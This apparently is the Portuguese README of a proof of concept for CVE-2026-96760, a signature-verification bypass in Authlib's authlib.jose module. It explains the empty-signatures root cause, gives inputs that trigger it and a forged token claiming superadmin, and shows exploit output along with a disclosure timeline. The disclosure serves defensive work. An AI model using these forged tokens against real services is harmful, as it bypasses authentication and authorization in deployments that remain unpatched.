CVE-2026-96760 - PoC de Bypass de Verificação de Assinatura JWS no Authlib

Prova de conceito para um bypass de verificação de assinatura no módulo authlib.jose do Authlib. JsonWebSignature.deserialize_json() aceita um objeto JWS JSON Geral com um array signatures vazio e retorna o payload controlado pelo atacante como verificado com sucesso - sem necessidade de chave, sem verificação de assinatura.

Vulnerabilidade

Afetado: Authlib ≤ 1.7.2, módulo authlib.jose Não afetado: o caminho compacto de JWT (jwt.decode()). Este bug é específico da API JWS de Serialização JSON. CWE: CWE-347 (Verificação Imprópria de Assinatura Criptográfica), CWE-670, CWE-358 Status: sem patch na 1.7.x - o módulo authlib.jose foi removido completamente no Authlib 1.8, não corrigido. Qualquer implantação fixada abaixo da 1.8 permanece exposta.

Causa Raiz

# authlib/jose/rfc7515/jws.py
headers = []
is_valid = True                                  # starts True
for header_obj in obj["signatures"]:             # zero iterations when signatures = []
    jws_header, valid = self._validate_json_jws(
        payload_segment, payload, header_obj, key
    )
    headers.append(jws_header)
    if not valid:
        is_valid = False

rv = JWSObject(headers, payload, "json")
if is_valid:
    return rv                                    # attacker payload returned as verified
raise BadSignatureError(rv)

is_valid é inicializado como True e só é alterado dentro do corpo do loop. Quando signatures é [], o loop é executado zero vezes, nenhuma lógica de verificação é executada e a função retorna sucesso - uma falha clássica de verdade vazia. Ambos os pontos de entrada públicos são afetados:

jws.deserialize_json({"payload": "...", "signatures": []}, key)  # direct
jws.deserialize('{"payload": "...", "signatures": []}', key)     # generic dispatcher

Impacto

Qualquer aplicação que verifique entrada JSON JWS controlada pelo atacante via deserialize_json() ou deserialize() perde suas garantias de autenticidade/integridade sobre essa entrada:

• Bypass de autenticação - forjar sub, role, claims de sessão
• Bypass de confiança entre serviços - injetar mensagens arbitrárias entre serviços que trocam JSON JWS
• Falsificação de autorização - fabricar claims de scope, tenant, permissions

Uso

git clone https://github.com/uziii2208/CVE-2026-96760.git
cd CVE-2026-96760
python3 exploit.py

Saída Esperada

=================================================================
[BASELINE] Creating legitimate JWS with real signature
=================================================================
Valid token:
{
  "payload": "eyJzdWIiOiJsZWdpdC11c2VyIiwiYWRtaW4iOmZhbHNlfQ",
  "signatures": [
    {
      "protected": "eyJhbGciOiJIUzI1NiJ9",
      "signature": "_IhsSGd6d2jAISIu0BkmCrWGCRU5ZsAJnF7aymDNJ-g"
    }
  ]
}
[+] Verification succeeded: payload = b'{"sub":"legit-user","admin":false}'

=================================================================
[BASELINE] Verification with wrong key - must be rejected
=================================================================
[+] Correctly rejected - BadSignatureError: bad_signature:

=================================================================
[EXPLOIT] Forged payload WITHOUT any signing key
=================================================================
Malicious JWS:
{
  "payload": "eyJzdWIiOiJhdHRhY2tlciIsImFkbWluIjp0cnVlLCJyb2xlIjoic3VwZXJhZG1pbiJ9",
  "signatures": []
}

[X VULNERABLE] Verification succeeded WITHOUT any signature!
    Payload  : b'{"sub":"attacker","admin":true,"role":"superadmin"}'
    Headers  : []
    Type     : json

    → Attacker fully controls payload content
    → Application trusts payload as signed by trusted party

Os três casos isolam a falha com precisão: uma assinatura real com a chave errada é corretamente rejeitada, uma assinatura real com a chave certa é corretamente aceita, e uma lista de assinaturas vazia — que deveria ser o caso mais rejeitado de todos — é silenciosamente aceita.

Cronologia de Divulgação

• Reportado aos mantenedores do Authlib: 28 de julho
• Encerrado pelo mantenedor, citando a descontinuação de authlib.jose (nenhuma correção emitida): 30 de julho
• CVE-2026-96760 atribuído: CERT/CC, reservado em 2026-09-23, publicado em 2026-09-28
• authlib.jose removido no Authlib 1.8 (não retroportado como correção)

Créditos

Descoberto e reportado por uziii2208 e nguyenminhtuan28.

Aviso Legal

Este PoC é publicado para fins educacionais e defensivos — para ajudar mantenedores, equipes de segurança e usuários downstream a compreender e corrigir o problema. Não o utilize contra sistemas que você não possui ou para os quais não possui autorização explícita de teste.